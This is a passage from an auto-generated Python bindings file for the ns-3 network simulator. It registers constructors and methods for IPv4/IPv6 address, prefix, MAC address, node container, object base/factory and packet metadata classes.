'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(uint32_t mask) [constructor] cls.add_constructor([param('uint32_t', 'mask')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(char const * mask) [constructor] cls.add_constructor([param('char const *', 'mask')]) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::GetInverse() const [member function] cls.add_method('GetInverse', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): uint16_t ns3::Ipv4Mask::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint16_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsEqual(ns3::Ipv4Mask other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Mask', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsMatch(ns3::Ipv4Address a, ns3::Ipv4Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv4Address', 'a'), param('ns3::Ipv4Address', 'b')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Set(uint32_t mask) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'mask')]) return def register_Ns3Ipv6Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(uint8_t * address) [constructor] cls.add_constructor([param('uint8_t *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const & addr) [copy constructor] cls.add_constructor([param('ns3::Ipv6Address const &', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const * addr) [constructor] cls.add_constructor([param('ns3::Ipv6Address const *', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6Address::CombinePrefix(ns3::Ipv6Prefix const & prefix) [member function] cls.add_method('CombinePrefix', 'ns3::Ipv6Address', [param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv6Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv6Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllHostsMulticast() [member function] cls.add_method('GetAllHostsMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllNodesMulticast() [member function] cls.add_method('GetAllNodesMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllRoutersMulticast() [member function] cls.add_method('GetAllRoutersMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv6Address::GetIpv4MappedAddress() const [member function] cls.add_method('GetIpv4MappedAddress', 'ns3::Ipv4Address', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllHostsMulticast() const [member function] cls.add_method('IsAllHostsMulticast', 'bool', [], deprecated=True, is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllNodesMulticast() const [member function] cls.add_method('IsAllNodesMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllRoutersMulticast() const [member function] cls.add_method('IsAllRoutersMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAny() const [member function] cls.add_method('IsAny', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsDocumentation() const [member function] cls.add_method('IsDocumentation', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsEqual(ns3::Ipv6Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Address const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsIpv4MappedAddress() const [member function] cls.add_method('IsIpv4MappedAddress', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocal() const [member function] cls.add_method('IsLinkLocal', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocalMulticast() const [member function] cls.add_method('IsLinkLocalMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLocalhost() const [member function] cls.add_method('IsLocalhost', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static bool ns3::Ipv6Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsSolicitedMulticast() const [member function] cls.add_method('IsSolicitedMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac16Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac48Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac64Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac16Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac48Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac64Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeIpv4MappedAddress(ns3::Ipv4Address addr) [member function] cls.add_method('MakeIpv4MappedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv4Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeSolicitedAddress(ns3::Ipv6Address addr) [member function] cls.add_method('MakeSolicitedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv6Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(uint8_t * address) [member function] cls.add_method('Set', 'void', [param('uint8_t *', 'address')]) return def register_Ns3Ipv6InterfaceAddress_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress() [constructor] cls.add_constructor([]) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6Address address) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'address')]) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6Address address, ns3::Ipv6Prefix prefix) [constructor] cls.add_constructor([param('ns3::Ipv6Address', 'address'), param('ns3::Ipv6Prefix', 'prefix')]) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6InterfaceAddress const & o) [copy constructor] cls.add_constructor([param('ns3::Ipv6InterfaceAddress const &', 'o')]) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6InterfaceAddress::GetAddress() const [member function] cls.add_method('GetAddress', 'ns3::Ipv6Address', [], is_const=True) ## ipv6-interface-address.h (module 'internet'): uint32_t ns3::Ipv6InterfaceAddress::GetNsDadUid() const [member function] cls.add_method('GetNsDadUid', 'uint32_t', [], is_const=True) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6Prefix ns3::Ipv6InterfaceAddress::GetPrefix() const [member function] cls.add_method('GetPrefix', 'ns3::Ipv6Prefix', [], is_const=True) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Scope_e ns3::Ipv6InterfaceAddress::GetScope() const [member function] cls.add_method('GetScope', 'ns3::Ipv6InterfaceAddress::Scope_e', [], is_const=True) ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::State_e ns3::Ipv6InterfaceAddress::GetState() const [member function] cls.add_method('GetState', 'ns3::Ipv6InterfaceAddress::State_e', [], is_const=True) ## ipv6-interface-address.h (module 'internet'): bool ns3::Ipv6InterfaceAddress::IsInSameSubnet(ns3::Ipv6Address b) const [member function] cls.add_method('IsInSameSubnet', 'bool', [param('ns3::Ipv6Address', 'b')], is_const=True) ## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetAddress(ns3::Ipv6Address address) [member function] cls.add_method('SetAddress', 'void', [param('ns3::Ipv6Address', 'address')]) ## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetNsDadUid(uint32_t uid) [member function] cls.add_method('SetNsDadUid', 'void', [param('uint32_t', 'uid')]) ## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetScope(ns3::Ipv6InterfaceAddress::Scope_e scope) [member function] cls.add_method('SetScope', 'void', [param('ns3::Ipv6InterfaceAddress::Scope_e', 'scope')]) ## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetState(ns3::Ipv6InterfaceAddress::State_e state) [member function] cls.add_method('SetState', 'void', [param('ns3::Ipv6InterfaceAddress::State_e', 'state')]) return def register_Ns3Ipv6Prefix_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t * prefix) [constructor] cls.add_constructor([param('uint8_t *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(char const * prefix) [constructor] cls.add_constructor([param('char const *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t prefix) [constructor] cls.add_constructor([param('uint8_t', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const & prefix) [copy constructor] cls.add_constructor([param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const * prefix) [constructor] cls.add_constructor([param('ns3::Ipv6Prefix const *', 'prefix')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): uint8_t ns3::Ipv6Prefix::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint8_t', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsEqual(ns3::Ipv6Prefix const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Prefix const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsMatch(ns3::Ipv6Address a, ns3::Ipv6Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv6Address', 'a'), param('ns3::Ipv6Address', 'b')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) return def register_Ns3Mac48Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(ns3::Mac48Address const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48Address const &', 'arg0')]) ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(char const * str) [constructor] cls.add_constructor([param('char const *', 'str')]) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::Allocate() [member function] cls.add_method('Allocate', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Mac48Address', [param('ns3::Address const &', 'address')], is_static=True) ## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyFrom(uint8_t const * buffer) [member function] cls.add_method('CopyFrom', 'void', [param('uint8_t const *', 'buffer')]) ## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'void', [param('uint8_t *', 'buffer')], is_const=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetBroadcast() [member function] cls.add_method('GetBroadcast', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv4Address address) [member function] cls.add_method('GetMulticast', 'ns3::Mac48Address', [param('ns3::Ipv4Address', 'address')], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv6Address address) [member function] cls.add_method('GetMulticast', 'ns3::Mac48Address', [param('ns3::Ipv6Address', 'address')], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast6Prefix() [member function] cls.add_method('GetMulticast6Prefix', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticastPrefix() [member function] cls.add_method('GetMulticastPrefix', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True) ## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsGroup() const [member function] cls.add_method('IsGroup', 'bool', [], is_const=True) ## mac48-address.h (module 'network'): static bool ns3::Mac48Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) return def register_Ns3NodeContainer_methods(root_module, cls): ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'arg0')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer() [constructor] cls.add_constructor([]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::Ptr<ns3::Node> node) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(std::string nodeName) [constructor] cls.add_constructor([param('std::string', 'nodeName')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d, ns3::NodeContainer const & e) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd'), param('ns3::NodeContainer const &', 'e')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::NodeContainer other) [member function] cls.add_method('Add', 'void', [param('ns3::NodeContainer', 'other')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(std::string nodeName) [member function] cls.add_method('Add', 'void', [param('std::string', 'nodeName')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n, uint32_t systemId) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n'), param('uint32_t', 'systemId')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NodeContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::Node >', [param('uint32_t', 'i')], is_const=True) ## node-container.h (module 'network'): static ns3::NodeContainer ns3::NodeContainer::GetGlobal() [member function] cls.add_method('GetGlobal', 'ns3::NodeContainer', [], is_static=True) ## node-container.h (module 'network'): uint32_t ns3::NodeContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3ObjectBase_methods(root_module, cls): ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase() [constructor] cls.add_constructor([]) ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase(ns3::ObjectBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectBase const &', 'arg0')]) ## object-base.h (module 'core'): void ns3::ObjectBase::GetAttribute(std::string name, ns3::AttributeValue & value) const [member function] cls.add_method('GetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue &', 'value')], is_const=True) ## object-base.h (module 'core'): bool ns3::ObjectBase::GetAttributeFailSafe(std::string name, ns3::AttributeValue & value) const [member function] cls.add_method('GetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue &', 'value')], is_const=True) ## object-base.h (module 'core'): ns3::TypeId ns3::ObjectBase::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## object-base.h (module 'core'): static ns3::TypeId ns3::ObjectBase::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## object-base.h (module 'core'): void ns3::ObjectBase::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::SetAttributeFailSafe(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceDisconnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceDisconnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): void ns3::ObjectBase::ConstructSelf(ns3::AttributeConstructionList const & attributes) [member function] cls.add_method('ConstructSelf', 'void', [param('ns3::AttributeConstructionList const &', 'attributes')], visibility='protected') ## object-base.h (module 'core'): void ns3::ObjectBase::NotifyConstructionCompleted() [member function] cls.add_method('NotifyConstructionCompleted', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectDeleter_methods(root_module, cls): ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter() [constructor] cls.add_constructor([]) ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter(ns3::ObjectDeleter const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectDeleter const &', 'arg0')]) ## object.h (module 'core'): static void ns3::ObjectDeleter::Delete(ns3::Object * object) [member function] cls.add_method('Delete', 'void', [param('ns3::Object *', 'object')], is_static=True) return def register_Ns3ObjectFactory_methods(root_module, cls): cls.add_output_stream_operator() ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(ns3::ObjectFactory const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactory const &', 'arg0')]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(std::string typeId) [constructor] cls.add_constructor([param('std::string', 'typeId')]) ## object-factory.h (module 'core'): ns3::Ptr<ns3::Object> ns3::ObjectFactory::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::Object >', [], is_const=True) ## object-factory.h (module 'core'): ns3::TypeId ns3::ObjectFactory::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) ## object-factory.h (module 'core'): void ns3::ObjectFactory::Set(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('Set', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(ns3::TypeId tid) [member function] cls.add_method('SetTypeId', 'void', [param('ns3::TypeId', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(char const * tid) [member function] cls.add_method('SetTypeId', 'void', [param('char const *', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(std::string tid) [member function] cls.add_method('SetTypeId', 'void', [param('std::string', 'tid')]) return def register_Ns3PacketMetadata_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(uint64_t uid, uint32_t size) [constructor] cls.add_constructor([param('uint64_t', 'uid'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(ns3::PacketMetadata const & o) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddAtEnd(ns3::PacketMetadata const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddHeader(ns3::Header const & header, uint32_t size) [member function] cls.add_method('AddHeader', 'void', [param('ns3::Header const &', 'header'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddPaddingAtEnd(uint32_t end) [member function] cls.add_method('AddPaddingAtEnd', 'void', [param('uint32_t', 'end')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddTrailer(ns3::Trailer const & trailer, uint32_t size) [member function] cls.add_method('AddTrailer', 'void', [param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::PacketMetadata::BeginItem(ns3::Buffer buffer) const [member function] cls.add_method('BeginItem', 'ns3::PacketMetadata::ItemIterator', [param('ns3::Buffer', 'buffer')], is_const=True) ## packet-metadata.h (module 'network'): ns3::PacketMetadata ns3::PacketMetadata::CreateFragment(uint32_t start, uint32_t end) const 